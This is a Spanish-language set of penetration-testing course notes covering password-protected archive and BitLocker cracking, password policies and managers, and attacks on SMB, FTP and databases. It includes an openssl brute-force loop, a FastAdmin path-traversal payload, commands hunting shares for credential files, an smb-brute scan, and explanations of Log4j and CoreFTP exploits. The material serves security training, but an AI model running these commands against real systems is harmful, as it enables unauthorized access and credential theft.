seguros como bcrypt, Argon2, o hashes utilizados en criptomonedas y aplicaciones
avanzadas.
Archivos protegidos
En [Link] se puede encontrar una lista extensa de tipos de archivos. Sin embargo, en
lugar de escribirlos manualmente, también podemos consultarlos con un solo comando,
filtrarlos y guardarlos en un archivo si es necesario. Al momento de escribir este artículo, hay
337 tipos de archivos de almacenamiento enumerados en [Link].
Descargar todas las extensiones de archivo (Sirve para ataques de diccionario, comprobar
que archivos permite subir una web por ejemplo)
Es importante tener en cuenta que no todos los archivos anteriores admiten la protección
con contraseña. A menudo se utilizan otras herramientas para proteger los archivos
correspondientes con una contraseña. Por ejemplo, con, se utiliza tar la herramienta openssl
o para cifrar los archivos gpg.
Archivos de Cracking
El formato .zip se suele utilizar mucho en entornos Windows para comprimir muchos archivos
en uno solo. El procedimiento que ya hemos visto sigue siendo el mismo, salvo que se utiliza
un script diferente para extraer los hashes.
Cracking ZIP
El siguiente texto de una sola línea mostrará muchos errores relacionados con el formato
GZIP, que podemos ignorar. Si hemos utilizado la lista de contraseñas correcta, como en
este ejemplo, veremos que hemos extraído con éxito otro archivo del archivo comprimido.
for i in $(cat [Link]);do openssl enc -aes-256-cbc -d -in [Link] -k $i 2>/dev/null| tar
xz;done
Una vez finalizado el bucle for, podemos volver a mirar la carpeta actual para verificar si el
descifrado del archivo fue exitoso.
A menudo se crean unidades virtuales en las que se almacena información personal, notas
y documentos en el ordenador o portátil que nos proporciona la empresa para evitar el
acceso a dicha información por parte de terceros. De nuevo, podemos utilizar un script
llamado bitlocker2johnpara extraer el hash que necesitamos descifrar. Se extraerán cuatro
hashes diferentes , que se pueden utilizar con diferentes modos de hash de Hashcat. Para
nuestro ejemplo, trabajaremos con el primero, que hace referencia a la contraseña de
BitLocker.
Usando bitlocker2john
Tanto John y Hashcat se pueden utilizar para este propósito. Este ejemplo analizará el
procedimiento con Hashcat. El modo Hashcat para descifrar hashes de BitLocker es -m
22100. Por lo tanto, proporcionamos a Hashcat el archivo con el hash, especificamos
nuestra lista de contraseñas y especificamos el modo hash. Dado que se trata de un cifrado
robusto (AES), el descifrado puede llevar algún tiempo, según el hardware utilizado.
Además, podemos especificar el nombre de archivo en el que se debe almacenar el
resultado.
cat [Link]
Una vez que hayamos descifrado la contraseña, podremos abrir las unidades cifradas. La
forma más sencilla de montar una unidad virtual cifrada con BitLocker es transferirla a un
sistema Windows y montarla. Para ello, tan solo tenemos que hacer doble clic sobre la
unidad virtual. Como está protegida con contraseña, Windows nos mostrará un error. Tras
el montaje, podemos volver a hacer doble clic en BitLocker para que nos solicite la
contraseña.
Visualizar el contenido:
Políticas de contraseñas
Algunas normas de seguridad incluyen una sección para políticas o pautas de contraseñas.
A continuación, se incluye una lista de las más comunes:
Creemos una política de contraseñas de muestra para ilustrar algunos aspectos importantes
que se deben tener en cuenta al crear una política de contraseñas. Nuestra política de
contraseñas de muestra indica que todas las contraseñas deben:
• Mínimo de 8 caracteres.
• Incluya letras mayúsculas y minúsculas.
• Incluya al menos un número.
• Incluya al menos un carácter especial.
• No debería ser el nombre de usuario.
• Debe cambiarse cada 60 días.
Nuestro nuevo empleado, Mark, que recibió un error al crear el correo electrónico con la
contraseña password123, ahora elige la siguiente contraseña Inlanefreight01! y registra su
cuenta correctamente. Aunque esta contraseña cumple con las políticas de la empresa,
no es segura y es fácil de adivinar porque utiliza el nombre de la empresa como parte de
la contraseña. Aprendimos en la sección "Mutaciones de contraseñas" que esta es una
práctica común de los empleados y los atacantes están al tanto de esto.
Una vez que esta contraseña alcanza el tiempo de vencimiento, Mark puede cambiar 01
a 02 y su contraseña cumple con la política de contraseñas de la empresa, pero la
contraseña es casi la misma.
Con base en este ejemplo, debemos incluir, como parte de nuestras políticas de
contraseñas, algunas palabras en la lista negra, que incluyen, entre otras:
• Nombre de la empresa
• Palabras comunes asociadas a la empresa
• Nombres de los meses
• Nombres de las estaciones
• Variaciones de la palabra bienvenida y contraseña
• Palabras comunes y adivinables como contraseña, 123456 y abcde
Crear una buena contraseña puede ser fácil. Utilicemos PasswordMonster , un sitio web que
nos ayuda a comprobar la solidez de nuestras contraseñas, y 1Password Password
Generator , otro sitio web para generar contraseñas seguras.
CjDC2x[U La contraseña generada por la herramienta es buena. Se necesitaría mucho
tiempo para descifrarla y probablemente no se adivinaría ni se obtendría en un ataque de
rociado de contraseñas, pero es difícil de recordar.
Gestores de contraseñas
Parece que hoy en día todo requiere una contraseña. Usamos contraseñas para el wifi de
casa, las redes sociales, las cuentas bancarias, los correos electrónicos de trabajo e incluso
nuestras aplicaciones y sitios web favoritos. Según este estudio de NordPass , la persona
promedio tiene 100 contraseñas, lo que es una de las razones por las que la mayoría de las
personas reutilizan contraseñas o crean contraseñas simples.
Con todo esto en mente, necesitamos contraseñas diferentes y seguras, pero no todo el
mundo puede memorizar cientos de contraseñas que cumplan con la complejidad
requerida para que una contraseña sea segura. Necesitamos algo que nos pueda ayudar
a organizar nuestras contraseñas de forma segura. Un gestor de contraseñas es una
aplicación que permite a los usuarios almacenar sus contraseñas y secretos en una base de
datos cifrada. Además de mantener nuestras contraseñas y datos sensibles a salvo, también
cuentan con funciones para generar y gestionar contraseñas robustas y únicas, 2FA, rellenar
formularios web, integración con navegadores, sincronización entre múltiples dispositivos,
alertas de seguridad, entre otras funciones.
1. Clave maestra: creada por alguna función para convertir la contraseña maestra en
un hash.
2. Hash de contraseña maestra: creado por alguna función para convertir la
contraseña maestra con una combinación de la clave maestra en un hash para
autenticarse en la nube.
3. Clave de descifrado: creada por alguna función que utiliza la clave maestra para
formar una clave simétrica para descifrar los elementos de la bóveda.
Esta es una manera sencilla de ilustrar cómo funcionan los administradores de contraseñas,
pero la implementación habitual es más compleja. Puede consultar los documentos
técnicos anteriores o ver el video Cómo funcionan los administradores de contraseñas -
Computerphile.
1. 1Contraseña
2. Guardián de bits
3. Dashlane
4. Guardián
5. Último pase
6. NordPass
7. RoboForm
Características
Imaginemos que utilizamos Linux, Android y Chrome OS. Accedemos a todas nuestras
aplicaciones y sitios web desde cualquier dispositivo. Queremos sincronizar todas las
contraseñas y notas seguras en todos los dispositivos. Necesitamos protección adicional con
2FA y nuestro presupuesto es de 1 USD mensual. Esa información puede ayudarnos a
identificar el administrador de contraseñas adecuado para nosotros.
1. Soporte 2FA .
2. Multiplataforma (Android, iOS, Windows, Linux, Mac, etc.).
3. Extensión del navegador.
4. Autocompletar inicio de sesión.
5. Capacidades de importación y exportación.
6. Generación de contraseña.
Alternativas
Las contraseñas son la forma más común de autenticación, pero no la única. Como
aprendemos en este módulo, existen múltiples formas de poner en peligro una contraseña:
descifrarla, adivinarla, espiar a escondidas, etc., pero ¿qué pasa si no necesitamos una
contraseña para iniciar sesión? ¿Es posible?
1. Autenticación multifactor .
2. Estándar de autenticación abierta FIDO2 , que permite a los usuarios utilizar
dispositivos comunes como Yubikey para autenticarse fácilmente. Para obtener una
lista más amplia de dispositivos, puede consultar los proveedores de claves de
seguridad FIDO2 de Microsoft .
3. Contraseña de un solo uso (OTP) .
4. Contraseña de un solo uso basada en tiempo (TOTP) .
5. Restricción de IP .
6. Cumplimiento de dispositivos. Ejemplos: Endpoint Manager o Workspace ONE
Sin contraseña
Varias empresas como Microsoft , Auth0 , Okta , Ping Identity , etc., están tratando de
promover la estrategia Passwordless , para eliminar la contraseña como forma de
autenticación.
A medida que evolucionan las nuevas tecnologías y los nuevos estándares, necesitamos
investigar y comprender los detalles de su implementación para entender si esas
alternativas brindarán o no la seguridad que necesitamos para el proceso de
autenticación. Puede leer más sobre la autenticación sin contraseña y las estrategias de los
diferentes proveedores:
[Link] (david)
[Link] OSINT
Análisis de Correos maliciosos o Phishing
[Link]
Descripción
/index/ajax/lang?lang=../../application/database
CVE-2024-7928: FastAdmin < V1.3.4.20220530 Arbitrary File Reading Vulnerability
[Link]
Las vulnerabilidades suelen ser descubiertas por personas que utilizan y entienden la
tecnología, un protocolo o un servicio. A medida que evolucionemos en este campo,
encontraremos diferentes servicios con los que interactuar y necesitaremos evolucionar y
aprender nuevas tecnologías constantemente.
Para atacar con éxito un servicio, necesitamos conocer su propósito, cómo interactuar con
él, qué herramientas podemos usar y qué podemos hacer con él. Esta sección se centrará
en los servicios comunes y en cómo podemos interactuar con ellos.
Esta sección se centrará en los servicios internos, pero esto puede aplicarse al
almacenamiento en la nube sincronizado localmente con servidores y estaciones de
trabajo.
Bloque de mensajes del servidor (SMB)
WINDOWS
Existen diferentes formas de interactuar con una carpeta compartida mediante Windows,
y exploraremos algunas de ellas. En la interfaz gráfica de usuario de Windows, podemos
presionar [WINKEY] + [R] para abrir el cuadro de diálogo Ejecutar y escribir la ubicación del
recurso compartido de archivos, por ejemplo: \\[Link]\Finance\
Windows tiene dos shells de línea de comandos: Command Shell y PowerShell . Cada shell
es un programa de software que proporciona comunicación directa entre nosotros y el
sistema operativo o la aplicación, proporcionando un entorno para automatizar las
operaciones de TI.
Analicemos algunos comandos para interactuar con el recurso compartido de archivos
mediante Command Shell (CMD) y PowerShell. El comando dir muestra una lista de los
archivos y subdirectorios de un directorio.
dir \\[Link]\Finance\
Veamos el comando:
Sintaxis Descripción
dir Solicitud
n: Directorio o unidad para buscar
/a-d /a es el atributo y -d no significa directorios
/s Muestra archivos en un directorio específico y todos los subdirectorios
/b Utiliza un formato simple (sin información de encabezado ni resumen)
El siguiente comando | find /c ":\\" procesa la salida de dir n: /a-d /s /b para contar
cuántos archivos existen en el directorio y los subdirectorios. Puede utilizar dir /? para ver la
ayuda completa. Buscar entre 29.302 archivos lleva mucho tiempo, las utilidades de línea
de comandos y scripts pueden ayudarnos a acelerar la búsqueda. Con dir podemos buscar
nombres específicos en archivos como: (Comando para buscar archivos en windows)
cred
password
users
secrets
key
Extensiones de archivos comunes para código fuente como: .cs, .c, .go, .java, .php, .asp,
.aspx, .html.
dir n:\*cred* /s /b
dir n:\*secret* /s /b
Si queremos buscar una palabra específica dentro de un archivo de texto, podemos utilizar
findstr.
Windows PowerShell
PowerShell se diseñó para ampliar las capacidades del shell de comandos para ejecutar
comandos de PowerShell denominados cmdlets. Los cmdlets son similares a los comandos
de Windows, pero proporcionan un lenguaje de scripting más extensible. Podemos ejecutar
comandos de Windows y cmdlets de PowerShell en PowerShell, pero el shell de comandos
solo puede ejecutar comandos de Windows y no cmdlets de PowerShell. Repliquemos
ahora los mismos comandos usando PowerShell.
Get-ChildItem \\[Link]\Finance\
En lugar de net use, podemos usarlo New-PSDrive en PowerShell.
$username = 'plaintext'
$password = 'Password123'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object [Link] $username,
$secpassword
New-PSDrive -Name "N" -Root "\\[Link]\Finance" -PSProvider
"FileSystem" -Credential $cred
Linux
También se pueden utilizar máquinas Linux (UNIX) para explorar y montar recursos
compartidos SMB. Tenga en cuenta que esto se puede hacer tanto si el servidor de destino
es una máquina Windows como si es un servidor Samba. Aunque algunas distribuciones
Linux admiten una interfaz gráfica de usuario, nos centraremos en las herramientas y
utilidades de línea de comandos de Linux para interactuar con SMB. Veamos cómo montar
recursos compartidos SMB para interactuar con directorios y archivos de forma local.
Linux - Montaje
Nota: Necesitamos instalarlo cifs-utils para poder conectarnos a una carpeta compartida
SMB. Para instalarlo podemos ejecutar desde la línea de comandos sudo apt install cifs-utils.
Una vez que se monta una carpeta compartida, puede utilizar herramientas comunes de
Linux como find o grep para interactuar con la estructura de archivos. Busquemos un
nombre de archivo que contenga la cadena cred:
Linux - Buscar
Existen otros servicios de intercambio de archivos, como FTP, TFTP y NFS, que podemos
adjuntar (montar) mediante diferentes herramientas y comandos. Sin embargo, una vez
que montamos un servicio de intercambio de archivos, debemos comprender que
podemos utilizar las herramientas disponibles en Linux o Windows para interactuar con
archivos y directorios. A medida que descubramos nuevos servicios de intercambio de
archivos, necesitaremos investigar cómo funcionan y qué herramientas podemos utilizar
para interactuar con ellos.
Correo electrónico
Normalmente necesitamos dos protocolos para enviar y recibir mensajes, uno para enviar
y otro para recibir. El Protocolo simple de transferencia de correo (SMTP) es un protocolo de
entrega de correo electrónico que se utiliza para enviar correo a través de Internet.
Asimismo, se debe utilizar un protocolo de soporte para recuperar un correo electrónico de
un servicio. Hay dos protocolos principales que podemos utilizar: POP3 e IMAP.
Nota: Si al iniciar la evolución aparece un error que indica "bwrap: No se puede crear el
archivo en ...", utilice este comando para iniciar la evolución export
WEBKIT_FORCE_SANDBOX=0 && evolution.
Vídeo: Conexión a IMAP y SMTP mediante Evolution
Haga clic en la imagen a continuación para ver una breve demostración en vídeo.
Bases de datos
Las bases de datos se utilizan normalmente en las empresas y la mayoría de ellas las utilizan
para almacenar y gestionar información. Existen distintos tipos de bases de datos, como las
bases de datos jerárquicas, las bases de datos NoSQL (o no relacionales) y las bases de
datos relacionales SQL. Nos centraremos en las bases de datos relacionales SQL y en las dos
bases de datos relacionales más comunes, MySQL y MSSQL. Tenemos tres formas habituales
de interactuar con las bases de datos:
MSSQL
Para interactuar con MSSQL (Microsoft SQL Server) con Linux podemos
utilizar sqsh o sqlcmd si utilizamos Windows. Sqsh es mucho más que un simple prompt. Su
objetivo es proporcionar gran parte de la funcionalidad que ofrece un shell de comandos,
como variables, alias, redirección, canalizaciones, back-grounding, control de trabajos,
historial, sustitución de comandos y configuración dinámica. Podemos iniciar una sesión SQL
interactiva de la siguiente manera:
Linux-SQSH
Windows – SQLCMD
Para obtener más información sobre el sqlcmd uso, puede consultar la documentación de
Microsoft .
MySQL
Para interactuar con MySQL , podemos utilizar los binarios MySQL para Linux ( mysql) o
Windows ( [Link]). MySQL viene preinstalado en algunas distribuciones Linux, pero
podemos instalar los binarios MySQL para Linux o Windows utilizando esta guía . Iniciar una
sesión SQL interactiva utilizando Linux:
Linux - MySQL
Windows – MySQL
Aplicación GUI
Los motores de bases de datos suelen tener su propia aplicación GUI. MySQL tiene MySQL
Workbench y MSSQL tiene SQL Server Management Studio o SSMS , podemos instalar esas
herramientas en nuestro host de ataque y conectarnos a la base de datos. SSMS solo es
compatible con Windows. Una alternativa es utilizar herramientas comunitarias
como dbeaver . dbeaver es una herramienta de base de datos multiplataforma para Linux,
macOS y Windows que admite la conexión a múltiples motores de bases de datos como
MSSQL, MySQL, PostgreSQL, entre otros, lo que nos facilita, como atacantes, interactuar con
servidores de bases de datos comunes.
Para instalar dbeaver usando un paquete Debian podemos descargar el paquete release
.deb desde [Link] y ejecutar el siguiente
comando:
Instalar dbeaver
Ejecutar dbeaver
Haga clic en la imagen a continuación para ver una breve demostración en vídeo sobre
cómo conectarse a una base de datos MSSQL mediante dbeaver.
Haga clic en la imagen a continuación para ver una breve demostración en vídeo sobre
cómo conectarse a una base de datos MySQL usando dbeaver.
Vídeo: Conexión a la base de datos MySQL mediante dbeaver
Una vez que tenemos acceso a la base de datos mediante una utilidad de línea de
comandos o una aplicación GUI, podemos utilizar instrucciones Transact-SQL comunes
para enumerar bases de datos y tablas que contienen información confidencial, como
nombres de usuario y contraseñas. Si tenemos los privilegios correctos, podríamos ejecutar
comandos como la cuenta de servicio MSSQL. Más adelante en este módulo, analizaremos
las instrucciones Transact-SQL comunes y los ataques a las bases de datos MSSQL y MySQL.
Herramientas
• Autenticación
• Privilegios
• Conexión de red
• Reglas del cortafuegos
• Soporte de protocolo
Hay que tener en cuenta que podemos encontrarnos con distintos errores según el servicio
al que nos dirigimos. Podemos utilizar los códigos de error a nuestro favor y buscar
documentación oficial o foros donde hayan solucionado algún problema similar al nuestro.
El concepto de ataques
Para entender de forma eficaz los ataques a los diferentes servicios, debemos analizar cómo
se pueden atacar estos servicios. Un concepto es un plan esbozado que se aplica a
proyectos futuros. Como ejemplo, podemos pensar en el concepto de construir una casa.
Muchas casas tienen un sótano, cuatro paredes y un techo. La mayoría de las casas se
construyen de esta manera y es un concepto que se aplica en todo el mundo. Los detalles
más finos, como el material utilizado o el tipo de diseño, son flexibles y se pueden adaptar
a los deseos y circunstancias individuales. Este ejemplo muestra que un concepto necesita
una categorización general (piso, paredes, techo).
En nuestro caso, necesitamos crear un concepto para los ataques a todos los servicios
posibles y dividirlo en categorías que resuman todos los servicios, pero dejen los métodos de
ataque individuales.
Para explicar un poco más claramente de qué estamos hablando, podemos intentar
agrupar nosotros mismos los servicios SSH, FTP, SMB y HTTP y averiguar qué tienen en común
estos servicios. Luego, debemos crear una estructura que nos permita identificar los puntos
de ataque de estos diferentes servicios utilizando un único patrón.
Analizar los puntos en común y crear plantillas de patrones que se adapten a todos los casos
imaginables no es un producto terminado, sino un proceso que hace que estas plantillas de
patrones se hagan cada vez más grandes. Por lo tanto, hemos creado una plantilla de
patrones para este tema para que puedas enseñar y explicar mejor y de manera más
eficiente el concepto detrás de los ataques.
Fuente
Podemos generalizar Source como fuente de información utilizada para la tarea específica
de un proceso. Existen muchas formas diferentes de pasar información a un proceso. El
gráfico muestra algunos de los ejemplos más comunes de cómo se pasa información a los
procesos.
Procesos
El objetivo Process es procesar la información que llega desde la fuente. Esta se procesa de
acuerdo con la tarea prevista que determina el código del programa. Para cada tarea, el
desarrollador especifica cómo se procesa la información. Esto puede ocurrir mediante
clases con diferentes funciones, cálculos y bucles. La variedad de posibilidades para esto
es tan diversa como el número de desarrolladores en el mundo. En consecuencia, la
mayoría de las vulnerabilidades se encuentran en el código del programa que ejecuta el
proceso.
Privilegios
Los (Privileges) privilegios están presentes en cualquier sistema que controle procesos. Estos
sirven como un tipo de permiso que determina qué tareas y acciones se pueden realizar en
el sistema. En términos sencillos, se puede comparar con un billete de autobús. Si utilizamos
un billete destinado a una región en particular, podremos utilizar el autobús, y en caso
contrario, no. Estos privilegios (o en sentido figurado, nuestros billetes) también se pueden
utilizar para diferentes medios de transporte, como aviones, trenes, barcos y otros. En los
sistemas informáticos, estos privilegios sirven como control y segmentación de acciones
para las que se necesitan diferentes permisos, controlados por el sistema. Por tanto, los
derechos se comprueban en función de esta categorización cuando un proceso necesita
cumplir con su tarea. Si el proceso satisface estos privilegios y condiciones, el sistema
aprueba la acción solicitada. Podemos dividir estos privilegios en las siguientes áreas:
Destino
Toda tarea tiene al menos un propósito y un objetivo que debe cumplirse. Lógicamente, si
faltan cambios en los conjuntos de datos o no se almacenan o reenvían a ningún lugar, la
tarea sería generalmente innecesaria. El resultado de una tarea de este tipo se almacena
en algún lugar o se reenvía a otro punto de procesamiento. Por lo tanto, aquí hablamos
del lugar Destination donde se realizarán los cambios. Estos puntos de procesamiento
pueden apuntar a un proceso local o remoto. Por lo tanto, a nivel local, los archivos o
registros locales pueden ser modificados por el proceso o reenviados a otros servicios
locales para su uso posterior. Sin embargo, esto no excluye la posibilidad de que el mismo
proceso también pueda reutilizar los datos resultantes. Si el proceso se completa con el
almacenamiento de datos o su reenvío, se cierra el ciclo que lleva a la finalización de la
tarea.
Log4j
El proceso de Log4j consiste en registrar el User-Agent como una cadena mediante una
función y almacenarla en la ubicación designada. La vulnerabilidad de este proceso es la
interpretación incorrecta de la cadena, que lleva a la ejecución de una solicitud en lugar
de registrar los eventos. Sin embargo, antes de profundizar en esta función, debemos hablar
sobre los privilegios.
Lo que hizo que la vulnerabilidad de Log4j fuera tan peligrosa fue el impacto Privileges que
trajo consigo la implementación. Los registros suelen considerarse confidenciales porque
pueden contener datos sobre el servicio, el sistema en sí o incluso los clientes. Por lo tanto,
los registros suelen almacenarse en ubicaciones a las que ningún usuario normal debería
poder acceder. En consecuencia, la mayoría de las aplicaciones con la implementación
de Log4j se ejecutaban con privilegios de administrador. El proceso en sí mismo explotaba
la biblioteca manipulando el User-Agent de modo que el proceso malinterpretara la fuente
y provocara la ejecución del código proporcionado por el usuario.
La interpretación errónea del User-Agent da lugar a una consulta JNDI que se ejecuta como
un comando desde el sistema con privilegios de administrador y consulta un servidor remoto
controlado por el atacante, que en nuestro caso es el que se encuentra en Destination
nuestro concepto de ataques. Esta consulta solicita una clase Java creada por el atacante
y se manipula para sus propios fines. El código Java consultado dentro de la clase Java
manipulada se ejecuta en el mismo proceso, lo que da lugar a una vulnerabilidad RCE de
ejecución de código remoto ( ).
Traducida al español
Este gráfico desglosa el ataque JNDI de Log4j basado en Concept of Attacks.
Aquí es cuando el ciclo comienza de nuevo, pero esta vez para obtener acceso remoto al
sistema de destino.
Por último, vemos un patrón que podemos utilizar repetidamente para nuestros ataques.
Esta plantilla de patrón se puede utilizar para analizar y comprender los exploits y depurar
nuestros propios exploits durante el desarrollo y las pruebas. Además, esta plantilla de patrón
también se puede aplicar al análisis del código fuente, lo que nos permite comprobar
determinadas funciones y comandos en nuestro código paso a paso. Por último, también
podemos pensar de forma categórica sobre los peligros de cada tarea de forma individual.
Configuraciones incorrectas del servicio
Autenticación
En años anteriores (aunque todavía vemos esto a veces durante las evaluaciones), era
común que los servicios incluyeran credenciales predeterminadas (nombre de usuario y
contraseña). Esto presenta un problema de seguridad porque muchos administradores
dejan las credenciales predeterminadas sin cambios. Hoy en día, la mayoría del software
solicita a los usuarios que configuren credenciales al momento de la instalación, lo cual es
mejor que las credenciales predeterminadas. Sin embargo, tenga en cuenta que aún
encontraremos proveedores que usan credenciales predeterminadas, especialmente en
aplicaciones más antiguas.
Una vez que tenemos el banner de servicio, el siguiente paso debe ser identificar las posibles
credenciales predeterminadas. Si no hay credenciales predeterminadas, podemos probar
las combinaciones de nombre de usuario y contraseña poco seguras que se indican
anteriormente.
Autenticación anónima
Otra configuración incorrecta que puede existir en los servicios comunes es la autenticación
anónima. El servicio se puede configurar para permitir la autenticación anónima, lo que
permite que cualquier persona con conectividad de red acceda al servicio sin que se le
solicite la autenticación.
Imaginemos que recuperamos las credenciales de un usuario cuya función es subir archivos
al servidor FTP, pero al que se le ha otorgado el derecho de leer todos los documentos FTP.
La posibilidad es infinita, dependiendo de lo que haya dentro del servidor FTP. Podemos
encontrar archivos con información de configuración para otros servicios, credenciales de
texto sin formato, nombres de usuario, información confidencial e información de
identificación personal (PII).
Los derechos de acceso mal configurados se dan cuando las cuentas de usuario tienen
permisos incorrectos. El problema más grave podría ser dar a las personas que se
encuentran en niveles inferiores de la cadena de mando acceso a información privada
que solo deberían tener los gerentes o administradores.
Una vez que hemos identificado nuestro entorno, la estrategia más sencilla para controlar
el riesgo es bloquear la infraestructura más crítica y permitir únicamente el comportamiento
deseado. Se debe desactivar cualquier comunicación que no sea necesaria para el
programa. Esto puede incluir cosas como:
El OWASP Top 10 ofrece una sección sobre cómo proteger los procesos de instalación:
• Nombres de usuario.
• Direcciones de correo electrónico.
• Contraseñas.
• Registros DNS.
• Direcciones IP.
• Código fuente.
• Archivos de configuración.
• Información de identificación personal.
En este módulo se tratarán algunos servicios comunes en los que podemos encontrar
información interesante y descubrir diferentes métodos y herramientas que podemos utilizar
para automatizar nuestro proceso de descubrimiento. Estos servicios incluyen:
Atacando FTP
Para atacar un servidor FTP, podemos abusar de una mala configuración o de privilegios
excesivos, explotar vulnerabilidades conocidas o descubrir nuevas vulnerabilidades. Por lo
tanto, después de obtener acceso al servicio FTP, necesitamos conocer el contenido del
directorio para poder buscar información sensible o crítica, como ya comentamos
anteriormente. El protocolo está diseñado para activar descargas y subidas con comandos.
De esta forma, se pueden transferir archivos entre servidores y clientes. El usuario dispone de
un sistema de gestión de archivos, conocido por el sistema operativo. Los archivos se
pueden almacenar en carpetas, que pueden estar ubicadas en otras carpetas. Esto da
como resultado una estructura de directorios jerárquica. La mayoría de las empresas utilizan
este servicio para procesos de desarrollo de software o sitios web.
Enumeración
Los scripts de Nmap predeterminados -sC incluyen el script Nmap ftp-anon -sV que verifica
si un servidor FTP permite inicios de sesión anónimos. El indicador de enumeración de
versiones proporciona información interesante sobre los servicios FTP, como el banner FTP,
que a menudo incluye el nombre de la versión. Podemos usar el cliente ftp o nc para
interactuar con el servicio FTP. De manera predeterminada, FTP se ejecuta en el puerto TCP
21.
NMAP
Esto nos permitiría descargar esta información sensible o incluso cargar scripts peligrosos.
Utilizando otras vulnerabilidades, como el recorrido de rutas en una aplicación web,
podríamos averiguar dónde se encuentra este archivo y ejecutarlo como código PHP, por
ejemplo.
Autenticación anónima
ftp [Link]
Name ([Link]:kali): anonymous
Una vez que tenemos acceso a un servidor FTP con credenciales anónimas, podemos
comenzar a buscar información interesante. Podemos usar los comandos ls y cd para
movernos por los directorios como en Linux. Para descargar un solo archivo, usamos get, y
para descargar varios archivos, podemos usar mget. Para las operaciones de carga,
podemos usar put para un archivo simple o mput para varios archivos. Podemos usar help
en la sesión del cliente FTP para obtener más información.
Existen muchos ataques y métodos diferentes que se basan en protocolos. Sin embargo, es
fundamental tener en cuenta que no atacamos los protocolos individuales en sí, sino los
servicios que los utilizan. Dado que existen docenas de servicios para un único protocolo y
que procesan la información correspondiente de forma diferente, analizaremos algunos.
Fuerza bruta
Un ataque de rebote de FTP es un ataque de red que utiliza servidores FTP para enviar tráfico
saliente a otro dispositivo de la red. El atacante utiliza un comando PORT para engañar a la
conexión FTP para que ejecute comandos y obtenga información de un dispositivo distinto
del servidor previsto.
Supongamos que nuestro objetivo es un servidor FTP FTP_DMZ expuesto a Internet. Otro
dispositivo dentro de la misma red, Internal_DMZ, no está expuesto a Internet. Podemos
utilizar la conexión al servidor FTP_DMZ para escanear Internal_DMZ mediante el ataque de
rebote de FTP y obtener información sobre los puertos abiertos del servidor. Luego, podemos
utilizar esa información como parte de nuestro ataque contra la infraestructura.
Imegen en ingles 2
Traducida al español 2
El indicador Nmap -b se puede utilizar para realizar un ataque de rebote de FTP:
Los servidores FTP modernos incluyen protecciones que, por defecto, previenen este tipo de
ataques, pero si estas características están mal configuradas en los servidores FTP modernos,
el servidor puede volverse vulnerable a un ataque de rebote FTP.
Al analizar las vulnerabilidades más recientes, centraremos esta sección y las siguientes en
uno de los ataques mostrados anteriormente y lo presentaremos de la forma más sencilla
posible sin entrar en demasiados detalles técnicos. Esto debería ayudarnos a facilitar el
concepto del ataque a través de un ejemplo relacionado con un servicio específico para
comprenderlo mejor.
En este caso, vamos a hablar de la CoreFTP before build 727vulnerabilidad asignada CVE-
2022-22836 . Esta vulnerabilidad es para un servicio FTP que no procesa correctamente
la petición HTTP PUT y da lugar a una vulnerabilidad authenticated directory/ path traversal,
y arbitrary file write. Esta vulnerabilidad nos permite escribir archivos fuera del directorio al
que tiene acceso el servicio.
Este servicio FTP utiliza una solicitud POST HTTP para cargar archivos. Sin embargo, el servicio
CoreFTP permite una solicitud PUT HTTP, que podemos utilizar para escribir contenido en
archivos. Echemos un vistazo al ataque basado en nuestro concepto. La forma
de explotar este ataque es relativamente sencilla y se basa en un solo comando cURL.
Explotación de CoreFTP
Con este comando, creamos una solicitud PUT HTTP sin procesar (-X PUT) con autenticación
básica (--basic -u <username>:<password>), la ruta del archivo (--path-as-is
[Link] y su contenido (--data-binary "PoC."). Además,
especificamos el encabezado del host (-H "Host: <IP>") con la dirección IP de nuestro
sistema de destino.
El concepto de ataques
En resumen, el proceso en sí malinterpreta la entrada de la ruta por parte del usuario. Esto
hace que se omita el acceso a la carpeta restringida. Como resultado, los permisos de
escritura en la solicitud PUT HTTP no se controlan adecuadamente, lo que nos permite crear
los archivos que queremos fuera de las carpetas autorizadas. Sin embargo, omitiremos la
explicación del proceso Basic Auth y pasaremos directamente a la primera parte del
exploit.
Recorrido de directorios
Hasta este punto, hemos pasado por alto las restricciones impuestas por la aplicación
mediante los caracteres de escape ( ../../../../) y llegamos a la segunda parte, donde el
proceso escribe el contenido que especificamos en un archivo de nuestra elección. Es
entonces cuando el ciclo comienza de nuevo, pero esta vez para escribir el contenido en
el sistema de destino.
Una vez completada la tarea, podremos encontrar este archivo con el contenido
correspondiente en el sistema de destino.
Sistema objetivo
Atacando SMB
Samba es una implementación de código abierto basada en Unix/Linux del protocolo SMB.
También permite que los servidores Linux/Unix y los clientes Windows utilicen los mismos
servicios SMB.
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre el puerto 445 TCP/IP
sin necesidad de NetBIOS sobre TCP/IP, pero si Windows tiene NetBIOS habilitado o estamos
apuntando a un host que no es Windows, encontraremos que SMB se ejecuta en el puerto
139 TCP/IP. Esto significa que SMB se ejecuta con NetBIOS sobre TCP/IP.
Otro protocolo que se relaciona comúnmente con SMB es MSRPC (Microsoft Remote
Procedure Call) . RPC proporciona a un desarrollador de aplicaciones una forma genérica
de ejecutar un procedimiento (también conocido como función) en un proceso local o
remoto sin tener que comprender los protocolos de red utilizados para respaldar la
comunicación, como se especifica en MS-RPCE , que define un protocolo RPC sobre SMB
que puede usar canales con nombre del protocolo SMB como su transporte subyacente.
Enumeración
Dependiendo de la implementación de SMB y del sistema operativo, obtendremos
información diferente usando Nmap. Tenga en cuenta que cuando se apunta al sistema
operativo Windows, la información de la versión generalmente no se incluye como parte
de los resultados del análisis de Nmap. En su lugar, Nmap intentará adivinar la versión del
sistema operativo. Sin embargo, a menudo necesitaremos otros análisis para identificar si el
objetivo es vulnerable a un exploit en particular. Trataremos la búsqueda de
vulnerabilidades conocidas más adelante en esta sección. Por ahora, analicemos los
puertos TCP 139 y 445.
Configuraciones erróneas
Se puede configurar SMB para que no requiera autenticación, que suele denominarse null
session. En cambio, podemos iniciar sesión en un sistema sin nombre de usuario ni
contraseña.
Autenticación anónima
Usando smbclient, podemos mostrar una lista de los recursos compartidos del servidor con
la opción -L, y usando la opción -N, le indicamos smbclient que use la sesión nula.
smbclient -N -L //[Link]
smbclient //[Link]/directorio -U 'user%pass'
smbclient //[Link]/directorio --user jason --pasword ‘Password!'
nmap --script smb-brute -p 445 [Link]
Smbmap es otra herramienta que nos ayuda a enumerar recursos compartidos de red y
acceder a los permisos asociados. Una ventaja de smbmap es que proporciona una lista
de permisos para cada carpeta compartida.
smbmap -H [Link]
Podemos utilizar la herramienta rpcclient con una sesión nula para enumerar una estación
